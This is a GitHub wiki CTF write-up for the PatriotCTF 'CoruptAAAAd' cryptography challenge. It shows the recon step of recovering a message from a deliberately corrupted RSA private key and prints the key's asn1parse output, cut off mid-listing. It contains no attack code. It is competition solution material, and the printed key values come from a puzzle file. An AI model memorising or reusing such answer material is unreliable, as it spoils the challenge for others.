<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PatriotCTF : Banner</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PatriotCTF-:-Banner/_toc"> </include-fragment></details>
<details class="details-reset" open> <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron js-wiki-sidebar-toc-toggle-chevron-open mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PatriotCTF : CoruptAAAAd</span> </div> </summary>
Description Files Solution Recon Execution Flag
</details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Eavesdrop</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Eavesdrop/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Operation Oni</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Operation-Oni/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Sleuthkit Apprentice</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Sleuthkit-Apprentice/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : st3g0</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-st3g0/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Transposition Trial</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Transposition-Trial/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Easy Crypto Challenge</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Easy-Crypto-Challenge/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Information Paradox</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Information-Paradox/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Invisible Stargate</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Invisible-Stargate/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Off The Grid</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Off-The-Grid/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Strange Traffic</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Strange-Traffic/_toc"> </include-fragment></details>
</div></div>
</div>
<h5 class="mt-0 mb-2">Clone this wiki locally</h5> <div class="width-full input-group"> <input id="wiki-clone-url" type="text" data-autoselect class="form-control input-sm text-small color-fg-muted input-monospace" aria-label="Clone URL for this wiki" value="https://github.com/not1cyyy/CTF-Writeups.wiki.git" readonly> <span> <clipboard-copy for="wiki-clone-url" aria-label="Copy to clipboard" data-view-component="true" class="btn btn-sm zeroclipboard-button"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg style="display: none;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check color-fg-success"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg></clipboard-copy> </span> </div> </div></div> <div data-view-component="true" class="Layout-main"> <div id="wiki-body" class="gollum-markdown-content"> <div class="markdown-body"> <h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description</h1>We recovered a private PEM key that a spy used to encrypt a secret message, but it appears as though one of the RSA key components got corrupted. Can you find a way to retrieve the message?<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Files</h2>corrupted-privkey.pemencryptedmessage.enc<h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Solution</h1><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Recon</h2>the key seems to be missing an integer or some kind of integer overriding<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Execution</h2>So the first thing that I did was running the asn1parse command to see the different components of the corrupted key :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/coruptAAAAd_FINISHED] - [mer. mai 18, 13:26]└─[$] <> openssl asn1parse -in corrupted-privkey.pem 0:d=0 hl=4 l=1187 cons: SEQUENCE 4:d=1 hl=2 l= 1 prim: INTEGER :00 7:d=1 hl=4 l= 257 prim: INTEGER :C91C0D55929BB90511C071DE32A9ACAAC27FE205A0604DB9F5FA6B9FF99226F7487A9D7E1414BA7B46D948DEE09B90BF10DB430B12F453298D70E786C5342916BC4DDB05D4117720E4334C5DC17B155E8F7CFFA17F47248CD900FCCE7FEAB9549400F2484C3CD2EFF0300374FC412B5E428A904361FC2C33200F0CA4E99A79CE481E0F0EBE16CB42517C4CB6851FE1FA05B11678EA232F71ECC3ED5E8BEF6E3DC642C4F7488F0C5296284C4FFD1AFD1BCAC024192870AE6C5647DAB7BF71C350483180B08161A48E716788CC3CECEF26F25355C8028E7D24557CFC0F7F11633D0E4B2B2EA8DB2CCBEFBE5F424938554F24B618421A834798F2CB9DCDAA3E37B1 268:d=1 hl=2 l= 3 prim: INTEGER :01AAAA 273:d=1 hl=4 l= 256 prim: INTEGER :6D03966D15A6245F35A720E3C8FD3C87552465C28C2E609924A08D6AC39BFE67F07736CB69D76EAFF93D465E85CCF67089FF4B531D1B602736555277077C137EBF0BD6AADC627429D8E177A83602B07172D644354E90FDA1536A0F0F5F3A5DF77CB45670BEC6C8EAA3D3B9768DDCBC15C26DC417375EF0706AD98A1BE4AD0F4036B44CD7CEE21C57FF6CC8ABC343AB2AC9531754E2E6BC4E5E2481DEA6345EEDCFAD068DDE83420C49CB30267924062DAD26250473ED2606144F6FA437483636098BD14EFB4EC9E27E7A58224AE58475C365114D9A8F90CAD18C44C75DCC92FF64858AAA9EC037FA298EEA93A8775470E3330EC3E29F74B1879E836D5518090B 533:d=1 hl=3 l= 129 prim: INTEGER :F338F9C19E2D2F1715232E3121FD0A3615B9C6F87757A59BB8C507185BA7CDDE90F4DB7B49D4B0A8AD6E492C49E5D3D75FD61ED27C6D714D68D4330596CC08222CC8B641DF4ACF02D9A9D2A1115CDACC1FC2DFFC56308BCCCC4FCBC64CCE95F991C65DE43F56B67F74F7D2877AF7191B97783226B4F2C5E2AB8B67CBE0162BEB 665:d=1 hl=3 l= 129 prim: INTEGER :D3ACB64C7F034F4DA31EFC3A1FE6C86AA6536246897D081B4446BEB2A66970EF66962757ED3016E463CCD7077F35347A2AEE37E5B8C2290AA97CC7E1BC84BCECBEF25FFF7C5AF30870E6850100B032BBA6E51C1BFF4CAEB5FDEE46D9DADF1A558E8DAAABAD5191A4EC7929DA109139B7437C36A5B6E911D4EA60E236EB1FCFD3 797:d=1 hl=3 l= 128 prim: INTEGER :5B98F6777A0D7792CEEF8B3E8971303E09F826115AE81C9BEDBD2DCBB57BB948F21FD50F4C47205BF7FA30566B19E1F86F6E73B42A956869E31A3295C8CED6E9F0EF9BCB94B26AFBD8996BAF1F3DD506F0DD0CD3819EE89F0303256FDB217BD5979B72CEBE00896413C4BDBE561FD22B909892CFB6047ADE3F7F697688970FFD 928:d=1 hl=3 l= 128 prim: INTEGER :23DDF496B79B578A0D1E56BAE6FF17D10DF1C62C9D5FCD5283235CC12DED626EE2DD367CB1D53C3803ADA5B9E7823536FC9AB40993A9E97E5B0257D1ED8EAD92ED88155046205711A6FD6B228AF7E103F3EFBD09742544C02D448E46CC6BE7EFDF65A3B43A7718EC41AF4BA500B886A8DCEC3EA03572DB8485AA07CF22F1B8D5 1059:d=1 hl=3 l= 129 prim: INTEGER :B5FE419C7585A617DC2FCED225EAABA4345C3E69CE33823694B1A2FF498A13DA3BD5A3061DD665912149D10E2F08F2199BC1F8B4D62716C6C38BFD16907E6D9F5870A7F19BC3922157C3F60ABCF16AA83248A087A33664E7C91E1398C6EDC85587573C599788E30606F8A5C9706119C3CCEC8EC732A67683F856A414DCAC1C43">┌─[not1cyyy@0x45] - [~/Desktop/PatriotCTF/coruptAAAAd_FINISHED] - [mer. mai 18, 13:26]└─[$] <> openssl asn1parse -in corrupted-privkey.pem 0:d=0 hl=4 l=1187 cons: SEQUENCE 4:d=1 hl=2 l= 1 prim: INTEGER :00 7:d=1 hl=4 l= 257 prim: INTEGER :C91C0D55929BB90511C071DE32A9ACAAC27FE205A0604DB9F5FA6B9FF99226F7487A9D7E1414BA7B46D948DEE09B90BF10DB430B12F453298D70E786C5342916BC4DDB05D4117720E4334C5DC17B155E8F7CFFA17F47248CD900FCCE7FEAB9549400F2484C3CD2EFF0300374FC412B5E428A904361FC2C33200F0CA4E99A79CE481E0F0EBE16CB42517C4CB6851FE1FA05B11678EA232F71ECC3ED5E8BEF6E3DC642C4F7488F0C5296284C4FFD1AFD1BCAC024192870AE6C5647DAB7BF71C350483180B08161A48E716788CC3CECEF26F25355C8028E7D24557CFC0F7F11633D0E4B2B2EA8DB2CCBEFBE5F424938554F24B618421A834798F2CB9DCDAA3E37B1 268:d=1 hl=2 l= 3 prim: INTEGER :01AAAA 273:d=1 hl=4 l= 256 prim: INTEGER :6D03966D15A6245F35A720E3C8FD3C87552465C28C2E609924A08D6AC39BFE67F07736CB69D76EAFF93D465E85CCF67089FF4B531D1B602736555277077C137EBF0BD6AADC627429D8E177A83602B07172D644354E90FDA1536A0F0F5F3A5DF77CB45670BEC6C8EAA3D3B9768DDCBC15C26DC417375EF0706AD98A1BE4AD0F4036B44CD7CEE21C57FF6CC8ABC343AB2AC9531754E2E6BC4E5E2481DEA6345EEDCFAD068DDE83420C49CB30267924062DAD26250473ED2606144F6FA437483636098BD14EFB4EC9E27E7A58224AE58475C365114D9A8F90CAD18C44C75DCC92FF64858AAA9EC037FA298EEA93A8775470E3330EC3E29F74B1879E836D5518090B 533:d=1 hl=3 l= 129 prim: INTEGER :F338F9C19E2D2F1715232E3121FD0A3615B9C6F87757A59BB8C507185BA7CDDE90F4DB7B49D4B0A8AD6E492C49E5D3D75FD61ED27C6D714D68D4330596CC08222CC8B641DF4ACF02D9A9D2A1115CDACC1FC2DFFC56308BCCCC4FCBC64CCE95F991C65DE43F56B67F74F7D2877AF7191B97783226B4F2C5E2AB8B67CBE0162BEB 665:d=1 hl=3 l= 129 prim: INTEGER :D3ACB64C7F034F4DA31EFC3A1FE6C86AA6536246897D081B4446BEB2A66970EF66962757ED3016E463CCD7077F35347A2AEE37E5B8C2290AA97CC7E1BC84BCECBEF25FFF7C5AF30870E6850100B032BBA6E51C1BFF4CAEB5FDEE46D9DADF1A558E8DAAABAD5191A4EC7929DA109139B7437C36A5B6E911D4EA60E236EB1FCFD3 797:d=1 hl=3 l= 128 prim: INTEGER :5B98F6777A0D7792CEEF8B3E8971303E09F826115AE81C9BEDBD2DCBB57BB948F21FD50F4C47205BF7FA30566B19E1F86F6E73B42A956869E31A3295C8CED6E9F0EF9BCB94B26AFBD8996BAF1F3DD506F0DD0CD3819EE89F0303256FDB217BD5979B72CEBE00896413C4BDBE561FD22B909892CFB6047ADE3F7F697688970FFD 928:d=1 hl=3 l= 128 prim: INTEGER :23DDF496B79B578A0D1E56BAE6FF17D10DF1C62C9D5FCD5283235CC12DED626EE2DD367CB1D53C3803ADA5B9E7823536FC9AB40993A9E97E5B0257D1ED8EAD92ED88155046205711A6FD6B228AF7E103F3EFBD09742544C02D448E46CC6BE7EFDF65A3B43A7718EC41AF4BA500B886A8DCEC3EA03572DB8485AA07CF22F1B8D5 1059:d=1 hl=3 l= 129 prim: INTEGER 